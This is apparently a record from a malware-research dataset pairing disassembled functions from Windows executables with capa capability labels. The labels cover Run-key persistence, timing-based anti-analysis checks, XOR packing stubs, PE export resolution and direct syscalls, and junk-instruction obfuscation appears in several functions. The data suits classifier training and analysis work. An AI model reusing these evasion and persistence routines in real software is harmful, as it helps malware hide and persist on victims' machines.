joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f493
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push eax
jmp 0x41f387
or eax, 0x8536
xor eax, 0x181d4
pop eax
push esi
add esi, 0x8411
pop esi
push edi
add edi, 0x1858c
pop edi
push esi
xor esi, 0x142c7
xor esi, 0x15b8a
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
push edx
add esp, 4
jmp 0x41f3e9
jmp 0x41f3ee
pop ebx
push esi
push edx
add esp, 4
add esi, 0x44ef
jmp 0x41f3ff
or esi, 0xcf52
jmp 0x41f40d
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
call 0x41f475
add byte [0x4c47324f], dh
inc edx
inc ebx
xor al, 0x37
add esp, 4
call fcn.0041f484
add byte [ecx + eax*2 + 0x4b], cl
inc edx
dec edi
add esp, 4
call 0x41f493
add byte [esi + eax*2], bh
cmp eax, dword [ebx + 0x50]
add esp, 4
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41f4b4
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x41f50e
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41f3dc
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41f3dc
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41f4f8
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x41f502
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x41f557
push eax
add eax, 0x9481
sub eax, 0x12337
pop eax
push ecx
push edx
add esp, 4
sub ecx, 0x15da8
pop ecx
push edi
push edi
add esp, 4
jmp 0x41f53c
and edi, 0x2c7
and edi, 0x3598
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x41f5bf
push ebx
push edi
add esp, 4
or ebx, 0x1728e
add ebx, 0xbcde
pop ebx
push edi
push edi
add esp, 4
jmp 0x41f577
pop edi
push ecx
and ecx, 0x8e18
jmp 0x41f588
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x41f5b5
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x41f380
mov dword [ebp - 0x710], 0

Function at 0x41f778
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call 0x8441f775
rol byte [ecx], 0x89
test eax, ebp
clc
invalid
Function at 0x44f5a4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, edx
mov esi, eax
movzx edi, byte [esi + 0x296]
xor ebp, ebp
mov eax, dword [esi + 0x270]
test eax, eax
je 0x44f5c6
movzx ecx, byte [eax + 0x5e]
jmp 0x44f5cb
mov ecx, 0xff
movzx eax, byte [esi + 0x29c]
push eax
mov eax, ecx
pop edx
mov ecx, edx
cdq
idiv ecx
mov dword [esp], eax
cmp dword [esp], 0
jne 0x44f5eb
mov dword [esp], 1
call sub.kernel32.dll_GetTickCount
sub eax, ebp
cdq
xor eax, edx
sub eax, edx
cmp eax, dword [esi + 0x298]
jl 0x44f625
call sub.kernel32.dll_GetTickCount
mov ebp, eax
sub edi, dword [esp]
cmp edi, dword [esp]
jge 0x44f610
xor edi, edi
mov eax, edi
mov byte [esi + 0x296], al
push esi
push fcn.0044f034
mov eax, ebx
call fcn.00406de0
mov eax, dword [ebx + 0x44]
mov edx, 2
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, ebx
cmp byte [eax + 0xd], 0
jne 0x44f672
mov edx, dword [0x4f2830]
mov edx, dword [edx]
cmp byte [edx + 0xa0], 0
jne 0x44f672
mov edx, dword [0x4f2830]
mov edx, dword [edx]
test byte [edx + 0x1c], 8
jne 0x44f672
cmp dword [eax + 0x4c], 1
je 0x44f672
test edi, edi
jg 0x44f5eb
push esi
mov edx, dword [esi]
mov edx, dword [edx + 0xf8]
push edx
call fcn.00406dd8
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x457fa0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45801c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
mov edx, dword [ebp - 8]
inc edx
lea eax, [ebp - 4]
call fcn.00401298
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00401288
push eax
call sub.advapi32.dll_GetUserNameW
test eax, eax
je 0x457ffd
mov edx, dword [ebp - 8]
dec edx
lea eax, [ebp - 4]
call fcn.00401298
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00401308
jmp 0x458006
mov eax, ebx
xor edx, edx
call fcn.004012b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458023
lea eax, [ebp - 4]
call fcn.00401270
ret
Function at 0x49e864
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x49e919
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4f3154]
call fcn.00407670
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x49e8ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.00407680
xor ecx, ecx
mov edx, 0x49e930
mov eax, dword [ebp - 0x10]
call fcn.00407688
test al, al
je 0x49e8d6
lea ecx, [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00407698
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49e8f3
mov eax, dword [ebp - 0x10]
call fcn.004010c8
ret

Function at 0x4a6860
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004012a0
xor eax, eax
push ebp
push 0x4a6915
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4f3154]
call fcn.00407670
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4a68e8
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.00407680
xor ecx, ecx
mov edx, 0x4a692c
mov eax, dword [ebp - 0x10]
call fcn.00407688
test al, al
je 0x4a68d2
lea ecx, [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00407698
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a68ef
mov eax, dword [ebp - 0x10]
call fcn.004010c8
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x5c4008], 0x8088405
inc edx
mov dword [ebx + 0x5c4008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cc40
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cc71
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cc59
add dl, dl
jne 0x41cc7c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cccd
xor eax, eax
add dl, dl
jne 0x41cc89
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cd6a
add dl, dl
jne 0x41cc98
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cca3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ccae
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ccb9
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41ccc3
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cc68
mov eax, 1
add dl, dl
jne 0x41ccdb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cce6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ccd2
sub eax, ebx
mov ebx, 1
jne 0x41cd19
mov ecx, 1
add dl, dl
jne 0x41ccff
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cd0a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ccf6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cc68
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cd30
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cd3b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cd27
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cc68
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41cd8b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cc68
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41e214
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x5ad6d3
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e2c5
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e2ae
test esi, esi
jbe 0x41e2c5
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088dc
test eax, eax
jne 0x41e2a0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e2c5
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e27d
jmp 0x41e2c5
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e2c5
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ad6da
ret
Function at 0x41eb1c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x5ae0cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eb57
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41eb70
lea eax, [ebp - 0x10]
mov edx, dword [0x5c6258]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41eb83
lea eax, [ebp - 0x10]
mov edx, dword [0x5c6258]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41eb8f
adc edx, 0
mov edx, dword [edx*4 + 0x5c50e8]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41ec9d
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d6c
test eax, eax
je 0x41ec90
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41ec90
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dcc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d6c
test eax, eax
je 0x41ec90
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41ec90
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41ec90
cmp dx, 0x150
ja 0x41ec90
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d6c
test eax, eax
je 0x41ec90
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41ec90
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41ecb5
inc ebx
cmp ebx, 0x19
jne 0x41eb49
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ae0d2
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret

Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x50ed603c
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x40770610
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x1253370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x125338e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x127c074
push ecx
mov edi, eax
call fcn.01267198
mov esi, eax
add esp, 8
test esi, esi
jne 0x12533cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0126702e
push esi
call fcn.01266fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x1256850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x12568ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x1281720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x12568ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.012671e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x12568ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x1281720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x125692a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.01268082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x1256957
mov word [eax], si
add eax, 2
push eax
call fcn.01268030
add esp, 4
jmp 0x1256959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x12568ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x12568b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x1256ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1257080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x12570c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x127c458
push ecx
call fcn.012671e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.012671e1
add esp, 0x10
jmp 0x12570d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0126720b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.01266dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.01257050
mov eax, dword [0x1281728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x125713b
push esi
call fcn.01256fb0
add esp, 4
mov dword [0x1281728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x125714c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.01256ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x125a440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x125a4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x125a48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x125a471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x125a47e
add edx, ecx
cmp ebx, edx
jb 0x125a48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x125a467
xor ecx, ecx
jmp 0x125a4a2
test eax, eax
jne 0x125a492
xor ecx, ecx
jmp 0x125a4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.0125a3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x125a8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x125a921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x125a946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x125a96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x125a993
push ecx
push esi
call fcn.0125a4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x125bc00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x125bc4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x125bc2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x125bc38
add edx, eax
cmp ebx, edx
jb 0x125bc46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x125bc21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x125bc50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x125bc70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x125bcb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x125bc9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x125bca8
add edx, ecx
cmp ebx, edx
jb 0x125bcb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x125bc91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x125bf60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.01268145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x125bffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x125bfdd
lea eax, [esp + 0x18]
push eax
jmp 0x125bfe2
push 0x1281720
call fcn.01267fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x125bfb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x125bf40
push 4
push ecx
push eax
call fcn.0126843f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x125c310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.01268145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x125c3ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x125c38d
lea eax, [esp + 0x18]
push eax
jmp 0x125c392
push 0x1281720
call fcn.01267fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x125c360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x125bf40
push 4
push ecx
push eax
call fcn.0126843f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret